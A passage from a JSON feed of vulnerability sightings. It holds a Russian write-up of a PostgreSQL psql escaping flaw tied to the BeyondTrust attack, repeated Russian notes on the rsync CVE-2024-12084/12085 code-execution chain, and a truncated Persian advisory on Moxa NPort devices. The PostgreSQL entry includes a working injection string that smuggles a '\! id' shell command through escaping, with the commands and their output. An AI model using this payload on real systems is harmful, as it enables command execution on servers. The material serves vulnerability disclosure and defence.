UTF-8.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 UTF-8 \u0441\u0438\u043c\u0432\u043e\u043b, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0438\u0437 \u0431\u0430\u0439\u0442 0xC0 \u0438 0x27 (\"\u2514'\"). \u0411\u0430\u0439\u0442 0x27 \u0432 ASCII-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u043e\u0439 \u043a\u0430\u0432\u044b\u0447\u043a\u0435 (\"'\"), \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e. \u0412 \u043a\u043e\u0434\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 0xC0 \u0438 0x27 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0434\u0438\u043d Unicode-\u0441\u0438\u043c\u0432\u043e\u043b. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0431\u0430\u0439\u0442 0x27 \u0432 \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 psql \u043e\u043d \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043a\u0430\u0432\u044b\u0447\u043a\u0430.\n\n\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b psql \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \"\\!\", \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0439 \u0432 psql \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \"id\" \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \"hax\\xC0'; \\! id #\". \u0412 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u043d\u0438\u0436\u0435 \u0434\u043b\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f PHP-\u0441\u043a\u0440\u0438\u043f\u0442 dbquote, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 PHP-\u0444\u0443\u043d\u043a\u0446\u0438\u044e pg_escape_string, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 PQescapeString \u0438\u0437 libpq:\n\n   $ echo -e \"hello \\xC0'world'\" | ./dbquote  \n   'hello \u2514'world'''\n\n   $ quoted=$(echo -e \"hax\\xC0'; \\! id # \" | ./dbquote)\n\n   $ echo \"SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())\" | psql -e\n\n   SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax\u2514';\n   ERROR:  invalid byte sequence for encoding \"UTF8\": 0xc0 0x27\n\n   uid=1000(myexamplecompany) gid=1000(myexamplecompany) \n\u0412 PostgreSQL \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 BeyondTrust\nhttps://www.opennet.ru/opennews/art.shtml?num=62722\n\n\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0431\u0430\u0433\u0438\nCVE-2024-12356\nhttps://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis", "creation_timestamp": "2025-02-16T19:00:33.000000Z"}, {"uuid": "55b3ec81-dfcb-44d9-a38f-a91a16716a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/4937", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2025-01-15T18:03:39.000000Z"}, {"uuid": "9d035089-a1c7-4f0c-a6d0-80344057f343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/4937", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0435\u043b\u0438\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync 3.4.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n. . .\n\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 Rsync 3.4.0 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n. . .\nCVE-2024-12084 - \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\nCVE-2024-12085 - \u0443\u0442\u0435\u0447\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0437\u0430 \u0440\u0430\u0437) \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\u0412 Rsync 3.4.0 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\nhttps://www.opennet.ru/opennews/art.shtml?num=62557\n\nRsync contains six vulnerabilities\nhttps://kb.cert.org/vuls/id/952657\n\n\u0417\u042b \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0442\u0432\u0438\u0442 \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0430\nhttps://x.com/KirillKorinsky/status/1879265433658020062", "creation_timestamp": "2025-01-15T18:03:39.000000Z"}, {"uuid": "f1a3b47a-4b2f-4518-80d3-ac4c2c2cf7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/ics_cert/821", "content": "\u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0645\u0628\u062f\u0644 \u0647\u0627\u06cc \u0628\u06cc \u0633\u06cc\u0645 \u0635\u0646\u0639\u062a\u06cc Moxa\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0645\u0628\u062f\u0644\u200c\u0647\u0627\u06cc NPort W2150A \u0648 W2250A \u06a9\u0634\u0641 \u0634\u062f - \u0627\u06cc\u0646 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627 \u0628\u0647 \u0634\u0645\u0627 \u0627\u0645\u06a9\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0635\u0646\u0639\u062a\u06cc\u060c \u0645\u062a\u0631 \u0648 \u0633\u0646\u0633\u0648\u0631\u0647\u0627 \u0631\u0627 \u0628\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 Wi-Fi \u0645\u062d\u0644\u06cc \u0645\u062a\u0635\u0644 \u06a9\u0646\u06cc\u062f. Moxa \u062a\u062d\u062a \u062e\u0637 \u0645\u0634\u06cc \u0627\u0641\u0634\u0627\u06cc \u0645\u0633\u0626\u0648\u0644\u0627\u0646\u0647 \u062e\u0648\u062f \u0627\u0632 \u0627\u06cc\u0646 \u062a\u0647\u062f\u06cc\u062f \u0645\u0637\u0644\u0639 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u06cc \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\ud83e\udd77 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f. \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0648\u06cc\u0698\u0647 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a. \u0628\u06a9\u060c \u0645\u062a\u062e\u0635\u0635 \u062f\u0631 \u06af\u0631\u0648\u0647 \u062a\u062d\u0644\u06cc\u0644 \u0627\u0645\u0646\u06cc\u062a \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0648\u0628 \u06af\u0641\u062a: \u0628\u0627 \u06a9\u0646\u062a\u0631\u0644 \u0645\u0628\u062f\u0644 \u0647\u0627\u060c \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0631\u0627 \u0628\u0647 \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0646\u0646\u062f\u0647 \u0647\u0627\u06cc \u0635\u0646\u0639\u062a\u06cc \u0645\u062a\u0635\u0644 \u0648 \u0633\u0627\u06cc\u0631 \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f \u06a9\u0647 \u0645\u0645\u0644\u0648 \u0627\u0632 \u0627\u062e\u062a\u0644\u0627\u0644 \u06cc\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0631 \u0631\u0648\u0646\u062f \u0641\u0646\u0627\u0648\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.\n\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2024-1220 (BDU:2024-01811) \u0627\u0645\u062a\u06cc\u0627\u0632 CVSS v3.1 8.2 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0631\u062f \u06a9\u0647 \u0628\u0627 \u0633\u0637\u062d \u0634\u062f\u062a \u0628\u0627\u0644\u0627\u06cc\u06cc \u0645\u0637\u0627\u0628\u0642\u062a \u062f\u0627\u0631\u062f. \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0622\u0646\u060c \u0628\u0627\u06cc\u062f \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0639\u0627\u0645\u0644 \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n\ud83d\udca1 \u0686\u0646\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0627\u062e\u0644\u06cc \u06cc\u0627 \u0638\u0627\u0647\u0631\u0627\u064b \u0645\u0647\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0634\u0631\u06a9\u062a - \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0634\u0631\u06a9\u0627 \u06cc\u0627 \u0627\u0641\u0631\u0627\u062f \u062f\u0631 \u0645\u0635\u0627\u062d\u0628\u0647\u200c\u0647\u0627 \u0645\u0648\u0631\u062f \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f. \u062f\u0631 \u0628\u0631\u062e\u06cc \u0645\u0648\u0627\u0631\u062f\u060c \u0627\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646\u06cc \u0628\u0627 \u0622\u0646\u062a\u0646 \u0647\u0627\u06cc \u0642\u062f\u0631\u062a\u0645\u0646\u062f \u0628\u0631\u0627\u06cc \u062a\u0642\u0648\u06cc\u062a \u0633\u06cc\u06af\u0646\u0627\u0644 \u0628\u06cc \u0633\u06cc\u0645 \u0648 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0634\u0631\u06a9\u062a \u0627\u0632 \u062e\u0627\u0631\u062c \u0627\u0632 \u0645\u062d\u06cc\u0637 \u0641\u06cc\u0632\u06cc\u06a9\u06cc \u0628\u0627\u0634\u062f.\n\n\u0628\u0627 